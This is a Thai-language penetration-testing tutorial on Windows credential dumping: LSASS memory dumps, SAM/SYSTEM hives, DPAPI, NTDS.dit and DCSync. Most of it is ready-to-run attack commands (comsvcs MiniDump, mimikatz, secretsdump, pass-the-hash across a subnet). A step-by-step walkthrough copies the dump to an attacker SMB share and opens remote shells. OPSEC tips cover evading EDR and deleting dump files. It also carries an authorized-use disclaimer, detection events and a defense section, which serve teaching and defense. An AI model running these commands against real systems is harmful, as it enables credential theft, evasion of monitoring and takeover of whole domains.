คลัง
windows-privesc

Credential Dumping (LSASS)

Credential Dumping คือการดึง credential (NTLM hash, plaintext, Kerberos ticket, DPAPI secret) จาก Windows แหล่งหลักคือ <strong>LSASS process</strong> ในหน่วยความจำ และ <strong>SAM/SECURITY/SYSTEM</strong> registry hive ใช้เพื่อ lateral movement และยกระดับหลังได้สิทธิ์ admin/SYSTEM บทนี้ครอบคลุมทุกแหล่ง: LSASS (comsvcs, mimikatz, nanodump, procdump), SAM+SYSTEM, LSA secrets, cached domain creds, DPAPI, และ NTDS.dit (ทั้งโดเมน) พร้อมการวิเคราะห์ offline, OPSEC และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)

IntermediateAdvanced#lsass#credential-dumping#mimikatz#secretsdump#nanodump#procdump#comsvcs#sam

1. แหล่ง credential บน Windows

LSASS (Local Security Authority Subsystem Service) เก็บ credential ของ session ที่ login อยู่ในหน่วยความจำ: NTLM hash, Kerberos ticket, และบางกรณี plaintext (WDigest/credential provider) แหล่งอื่น: SAM hive (hash ของ local account), SECURITY hive → LSA secrets (รหัส service account, auto-logon) และ cached domain credentials (DCC2), DPAPI (browser/Credential Manager/RDP), และบน DC คือ NTDS.dit (hash ของทุกบัญชีในโดเมน) การเข้าถึง LSASS ต้องมี admin/SYSTEM + สิทธิ์ SeDebugPrivilege

แหล่งได้อะไรต้องการสิทธิ์
LSASSNTLM hash + ticket + (plaintext)admin/SYSTEM + SeDebug
SAM + SYSTEM hiveNTLM ของ local accountSYSTEM / SeBackup
SECURITY (LSA secrets)service acct, auto-logon, DPAPI backupSYSTEM
cached creds (DCC2)domain hash (crack ช้า)SYSTEM
DPAPIbrowser/saved password, RDP, creduser context + masterkey
NTDS.dit (DC)hash ของทุกบัญชีในโดเมนadmin บน DC / DCSync
แหล่ง credential → lateral movement
LSASS SAM + SYSTEM DPAPI NTDS.dit (DC) hash / ticket / pw PtH / PtT → pivot
เนื้อหานี้เพื่อการทดสอบเจาะระบบที่ได้รับอนุญาตเป็นลายลักษณ์อักษร (engagement/lab/CTF) เท่านั้น

2. LSASS dump — หลายเทคนิค

แนวทางที่ปลอดภัยและ OPSEC ดีที่สุดคือ dump LSASS เป็นไฟล์แล้ววิเคราะห์ offline (บนเครื่องเรา) แทนการรัน mimikatz บน target ตรง ๆ (ซึ่งโดน AV/EDR ง่าย) เทคนิค dump มีหลายแบบ ตั้งแต่ LOLBin ในตัว Windows ไปจนถึงเครื่องมือเฉพาะที่เลี่ยง detection

วิธี dump LSASS (เรียงตาม OPSEC)Windows
# หา PID ของ lsass ก่อน
tasklist /fi "imagename eq lsass.exe"
# หรือ:  Get-Process lsass | Select-Object Id

# --- LOLBin: comsvcs.dll (ในตัว Windows ไม่ต้องนำ tool เข้า) ---
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full

# --- ProcDump (Sysinternals — signed, มัก bypass AV) ---
procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp

# --- nanodump (dump แบบ evasive: syscalls, invalid signature, encrypted) ---
nanodump.exe --write C:\Temp\lsass.dmp
#  หรือรันผ่าน Cobalt Strike/BOF; nanodump ทำ dump ที่ EDR จับยากกว่า

# --- Task Manager (GUI): right-click lsass.exe > Create dump file ---

# --- mimikatz (ตรงสุด แต่โดน AV บ่อย) ---
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords         # hash + plaintext ของ session
mimikatz # sekurlsa::tickets /export        # Kerberos tickets
comsvcs = LOLBin ไม่ต้องนำ tool เข้า; nanodump = evasive dumper; dump แล้ววิเคราะห์ offline ปลอดภัยกว่ารัน mimikatz บน target
วิเคราะห์ dump offline (บนเครื่องเรา)
# pypykatz (Linux/Python — ไม่ต้องแตะ target อีก)
pypykatz lsa minidump lsass.dmp
# → NTLM hash, plaintext (ถ้ามี), Kerberos keys

# หรือใน mimikatz โหลด minidump
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
pypykatz แยกวิเคราะห์ dump บนเครื่องเรา — ไม่รัน tool น่าสงสัยบน target
เทคนิคต้องนำ tool เข้า?OPSEC
comsvcs MiniDumpไม่ (LOLBin)ดี — เป็น binary ในตัว แต่ command line เด่น
ProcDumpใช่ (signed)ปานกลาง — signed มัก allowlist
nanodumpใช่ดีมาก — ออกแบบเลี่ยง EDR
Task Managerไม่ดี — GUI ปกติ แต่ต้อง interactive
mimikatz sekurlsaใช่แย่ — signature โดน AV แน่

3. SAM + SYSTEM (local account hash)

ดึง SAM + SYSTEM hive แล้ววิเคราะห์
# บนเครื่อง Windows (ต้อง SYSTEM/SeBackup) — save hive
reg save HKLM\SAM      C:\Temp\sam.save
reg save HKLM\SYSTEM   C:\Temp\system.save
reg save HKLM\SECURITY C:\Temp\security.save

# วิเคราะห์ offline ด้วย impacket (Linux)
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
# → local NTLM hash + LSA secrets + cached domain creds (DCC2)

# volume shadow copy (ถ้า hive ถูก lock)
# vssadmin create shadow /for=C:  แล้ว copy จาก shadow path
SAM ต้องคู่กับ SYSTEM (มี bootkey ใช้ถอด); SECURITY เพิ่ม LSA secrets + cached creds

4. Remote dump (secretsdump / CME)

ดึงจากระยะไกลด้วย credential/hashLinux
# secretsdump.py — SAM + LSA + cached (และ DCSync ถ้าเป็น DC)
secretsdump.py domain.local/user:password@target

# pass-the-hash (ไม่ต้องรู้รหัส — ใช้ NT hash)
secretsdump.py -hashes :NThash domain.local/user@target

# เฉพาะ LSA / เฉพาะ SAM
secretsdump.py -just-dc domain.local/user:pass@dc   # DCSync ทุกบัญชี (บน DC)

# NetExec / CrackMapExec — dump หลายเครื่องพร้อมกัน
nxc smb 10.10.10.0/24 -u user -p pass --sam --lsa
nxc smb 10.10.10.0/24 -u user -H NThash --lsa
secretsdump.py = สวิสอาร์มี: SAM+LSA+cached+ (DCSync บน DC); nxc/CME dump ทั้ง subnet ทีเดียว
บน Domain Controller การรัน secretsdump.py -just-dc คือ DCSync — ดึง hash ของทุกบัญชีในโดเมน (รวม krbtgt → ทำ Golden Ticket ต่อได้) ดูหัวข้อ DCSync และ Golden Ticket

5. DPAPI (browser / saved creds / RDP)

DPAPI (Data Protection API) เข้ารหัส secret ของ user เช่นรหัส Chrome/Edge, Credential Manager, Wi-Fi, RDP ด้วย masterkey ที่ผูกกับรหัสผ่าน/SID ของ user ถอดได้เมื่ออยู่ใน context ของ user นั้น มี masterkey หรือรู้รหัสผ่าน user — และ Domain Admin ถอด masterkey ของทุก user ได้ผ่าน domain backup key

DPAPI ด้วย mimikatz / SharpDPAPIWindows
# ถอด masterkey (ใน user context พร้อมรหัส หรือใช้ /rpc ผ่าน DA)
mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<SID>\<GUID>" /sid:<SID> /password:<userpass>
# หรือใช้ domain backup key (DA):  /rpc

# ถอด credential blob / Chrome login data
mimikatz # dpapi::cred /in:"C:\Users\u\AppData\Local\Microsoft\Credentials\<file>"
mimikatz # dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data"

# SharpDPAPI (เก็บ + ถอดรวดเดียว)
SharpDPAPI.exe triage         # list vault/cred/rdp
SharpDPAPI.exe masterkeys /password:<userpass>

# pypykatz dpapi (Linux offline) ก็ทำได้
DPAPI ถอดง่ายสุดเมื่ออยู่ใน user context (มีรหัส); DA ถอด masterkey ของทุก user ผ่าน domain backup key ได้

6. NTDS.dit — hash ทั้งโดเมน (บน DC)

ดึง NTDS.dit (โดเมนทั้งหมด)
# วิธี 1: DCSync (ไม่ต้องแตะไฟล์ — ต้องมีสิทธิ์ replication / DA)
secretsdump.py -just-dc domain.local/admin:pass@dc.domain.local
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# วิธี 2: copy ไฟล์ NTDS.dit + SYSTEM (บน DC ต้อง admin)
#   NTDS.dit ถูก lock → ใช้ VSS / ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ifm" q q
#   ได้ Active Directory\ntds.dit + registry\SYSTEM

# วิเคราะห์ offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# crackmapexec/nxc
nxc smb dc -u admin -p pass --ntds
DCSync = เนียนสุด (ไม่แตะไฟล์); ntdsutil ifm = copy ทั้ง DB; ได้ krbtgt → Golden Ticket

7. Decision Flow

Credential dumping
ได้ admin/SYSTEM บนเครื่องแล้ว?
ยังprivesc ก่อน (services/task/token)
ได้เลือกแหล่ง
เครื่องเป็นอะไร / ต้องการอะไร?
workstation มี session loginLSASS dump
local account/offlineSAM + SYSTEM
browser/RDP savedDPAPI
เป็น DCNTDS.dit / DCSync
dump LSASS (comsvcs/nanodump) → วิเคราะห์ offline
pypykatz lsa minidump
lateral movement (PtH / PtT) ไปเครื่องอื่น

8. การตรวจจับ & OPSEC

สัญญาณตรวจที่ไหนหมายเหตุ
process เปิด handle ไป lsassSysmon Event 10GrantedAccess 0x1010/0x1410 = อ่าน memory
rundll32 + comsvcs MiniDumpSysmon Event 1 / cmdlineLOLBin dump — cmdline เด่น
reg save HKLM\SAMEvent 4657 / cmdlineดึง hive
ntdsutil ifm / VSSEvent 4688 / 325copy NTDS.dit
DCSync (DRSGetNCChanges)Event 4662 replication GUIDจาก non-DC = แดง
  • OPSEC: dump แล้ววิเคราะห์ offline — ไม่รัน mimikatz sekurlsa บน target
  • OPSEC: ใช้ nanodump / เทคนิค evasive แทน comsvcs ถ้ามี EDR (comsvcs cmdline ถูก signature จับ)
  • OPSEC: ลบไฟล์ .dmp/.save หลังคัดลอกออก และหลีกเลี่ยงชื่อไฟล์ที่เด่น
  • OPSEC: DCSync จาก host ที่ไม่ใช่ DC = สัญญาณชัด — ทำจากบริบทที่สมเหตุสมผลถ้าเลี่ยงได้

9. Blue Team — การป้องกัน

  • Credential Guard (VBS): แยก LSASS secret ไว้ใน virtualized container — mimikatz อ่าน plaintext/NTLM ไม่ได้
  • RunAsPPL (LSASS Protected Process Light): กันการเปิด handle ไป lsass จาก process ทั่วไป
  • ปิด WDigest: ตั้ง UseLogonCredential=0 เพื่อไม่ให้ plaintext อยู่ใน LSASS
  • Monitor Sysmon Event 10 (handle ไป lsass ด้วย access mask อ่าน memory) และ 4688 (procdump/rundll32)
  • จำกัด local admin + LAPS: รหัส local admin สุ่มต่อเครื่อง ตัด lateral ด้วย SAM hash เดียวกัน
  • Tier 0 protection บน DC: จำกัดสิทธิ์ replication (กัน DCSync), monitor 4662 replication GUID จาก non-DC
  • Attack Surface Reduction (ASR): เปิด rule 'Block credential stealing from lsass.exe'

10. Walkthrough — CTF & real engagement

  1. 1ได้ admin/SYSTEM บน WS01 (จาก privesc) → หา PID lsass: tasklist /fi "imagename eq lsass.exe"
  2. 2dump: rundll32 comsvcs.dll, MiniDump C:\Temp\lsass.dmp full
  3. 3คัดลอก lsass.dmp ออกมา (smb/http) แล้ววิเคราะห์: pypykatz lsa minidump lsass.dmp
  4. 4ได้ NTLM hash ของ domain user ที่เคย login บน WS01 (เช่น svc_admin)
  5. 5pass-the-hash: nxc smb -u svc_admin -H → หาว่าเป็น admin เครื่องไหนบ้าง
  6. 6เจอว่า svc_admin เป็น admin บน SRV02 → secretsdump.py -hashes :NThash → hash เพิ่ม
  7. 7ไต่จนได้ Domain Admin → บน DC: secretsdump.py -just-dc (DCSync) → ดึง krbtgt → Golden Ticket
  8. 8ลบไฟล์ .dmp และรายงานทุก host ที่ dump ใน engagement report

11. ข้อผิดพลาดที่พบบ่อย & แก้ปัญหา

  • ลืม SeDebug/SYSTEM: เปิด handle ไป LSASS ไม่ได้ถ้าไม่ใช่ admin+SeDebug — ใช้ privilege::debug (mimikatz) หรือรันเป็น SYSTEM
  • dump แต่ RunAsPPL/Credential Guard เปิด: ได้ไฟล์แต่ pypykatz ไม่เจอ secret — ต้อง bypass PPL (mimikatz !+ / mimidrv) หรือหาแหล่งอื่น
  • SAM ไม่มี SYSTEM hive: secretsdump LOCAL ต้องมี -system ด้วย (bootkey) ไม่งั้นถอดไม่ได้
  • comsvcs cmdline โดน EDR: ใช้ nanodump / Task Manager GUI แทน
  • clock/format ของ ticket: sekurlsa::tickets /export ได้ .kirbi — ต้อง convert/import ให้ถูก (Rubeus ptt / ticketConverter.py)
  • ลืมว่าได้แค่ hash ที่ 'เคย login': LSASS มีเฉพาะ session ที่เคย/กำลัง login — ไม่มี user ที่ไม่เคยแตะเครื่องนี้

12. Quick Reference

  • LSASS (LOLBin): rundll32 comsvcs.dll, MiniDump PID lsass.dmp full
  • evasive: nanodump; signed: procdump -ma lsass.exe
  • วิเคราะห์ offline: pypykatz lsa minidump lsass.dmp (เลี่ยง AV)
  • SAM+SYSTEM: reg save HKLM\SAM/SYSTEM/SECURITY → secretsdump.py LOCAL
  • remote: secretsdump.py user:pass@target; PtH: -hashes :NT
  • DPAPI: mimikatz dpapi::chrome / dpapi::cred / SharpDPAPI triage
  • NTDS (DC): secretsdump.py -just-dc (DCSync) หรือ ntdsutil ifm → krbtgt
  • ป้องกัน: Credential Guard, RunAsPPL, ปิด WDigest, LAPS, Sysmon Event 10, ASR

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งได้ admin/SYSTEM บนเครื่อง Windows เป้าหมายแล้ว (มาจากช่องทางไหนก็ตาม) แต่อยากไปต่อในเครือข่าย มีแค่ Kali ทำตามนี้ทีละขั้นเพื่อดึง credential แล้วเอาไปใช้

  1. 1ยืนยันสิทธิ์ก่อน: บนเป้าหมายพิมพ์ whoami และ whoami /priv ดูว่ามี SeDebugPrivilege
  2. 2หา PID ของ lsass: tasklist /fi "imagename eq lsass.exe"
  3. 3dump ด้วย LOLBin ในตัว Windows (ไม่ต้องนำเครื่องมือเข้า): rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump C:\Windows\Temp\lsass.dmp full
  4. 4เปิด SMB server บน Kali เพื่อดึงไฟล์กลับมา: impacket-smbserver share $(pwd) -smb2support แล้วบนเป้าหมาย copy C:\Windows\Temp\lsass.dmp \\\share\
  5. 5บน Kali วิเคราะห์ offline (ไม่ต้องรัน mimikatz บนเป้าหมายเลย): pypykatz lsa minidump lsass.dmp
  6. 6ดูผลลัพธ์ — มองหา NTLM hash / plaintext password ของ user ที่เคย login
  7. 7เอา NTLM hash ที่ได้ไปสแกนกับทั้ง subnet: nxc smb 10.10.10.0/24 -u -H --local-auth
  8. 8ถ้าเจอเครื่องที่ hash ใช้เป็น admin ได้ (ขึ้น Pwn3d!) ให้ pass-the-hash เข้าไปเลย: impacket-psexec -hashes : domain/user@ หรือ evil-winrm -i -u user -H
  9. 9ถ้า dump LSASS ไม่ได้ (RunAsPPL/Credential Guard เปิด) ลองดึง SAM+SYSTEM hive แทน: reg save HKLM\SAM sam.save และ reg save HKLM\SYSTEM system.save แล้ว secretsdump.py -sam sam.save -system system.save LOCAL
  10. 10ถ้าเครื่องเป็น Domain Controller ให้ข้ามไปทำ DCSync แทนทั้งหมด (secretsdump.py -just-dc)
ตัดสินใจ: dump credential แล้วไปต่อยังไง
มี admin/SYSTEM บนเครื่องแล้วหรือยัง?
❌ ยังไม่มี→ ไป privesc ก่อน (enum ใหม่ด้วย winPEAS)
✅ มีแล้ว→ dump LSASS
dump LSASS ด้วย comsvcs (LOLBin) แล้วดึงไฟล์ผ่าน impacket-smbserver
dump สำเร็จไหม (ได้ไฟล์ .dmp)?
❌ ไม่ได้ (RunAsPPL/Credential Guard)→ ลอง SAM+SYSTEM hive แทน
✅ ได้ไฟล์→ วิเคราะห์ offline ด้วย pypykatz
pypykatz lsa minidump lsass.dmp
เจอ NTLM hash/plaintext ที่ใช้ได้ไหม?
✅ เจอ→ ลอง pass-the-hash ไปเครื่องอื่น
❌ ไม่เจอ session ที่มีประโยชน์→ ลอง SAM+SYSTEM หรือ DPAPI แทน
reg save SAM+SYSTEM → secretsdump.py LOCAL
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
dump LSASS (LOLBin)rundll32 (มากับ Windows เป้าหมาย)-lolbas-project.github.io (ค้น comsvcs.dll)
ส่งไฟล์ dump ออกจากเป้าหมายimpacket-smbserverpipx install impacket-
วิเคราะห์ dump offlinepypykatzpipx install pypykatz-
ดึง SAM/SYSTEM/NTDS ระยะไกลsecretsdump.py (impacket)pipx install impacket-
spray hash หลายเครื่องnxc (netexec) / crackmapexecpipx install netexec-
pass-the-hash เข้า shellimpacket-psexec/wmiexec, evil-winrmgem install evil-winrm-
crack hash ที่ได้ (ถ้าต้อง plaintext)hashcat / john-crackstation.net, hashes.com
🚑 ถ้าตันสนิท ลองท่าถัดไป: Pass-the-Hash (เอา hash ที่ได้ไป lateral movement), Token Abuse (ถ้าไม่มี SeDebug ให้ลอง Potato ก่อน), Win Services / Registry (ถ้ายังไม่มี admin เลยตั้งแต่แรก), หรือกลับไป WinPEAS เพื่อ enum เครื่องใหม่ที่เพิ่งยึดได้

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้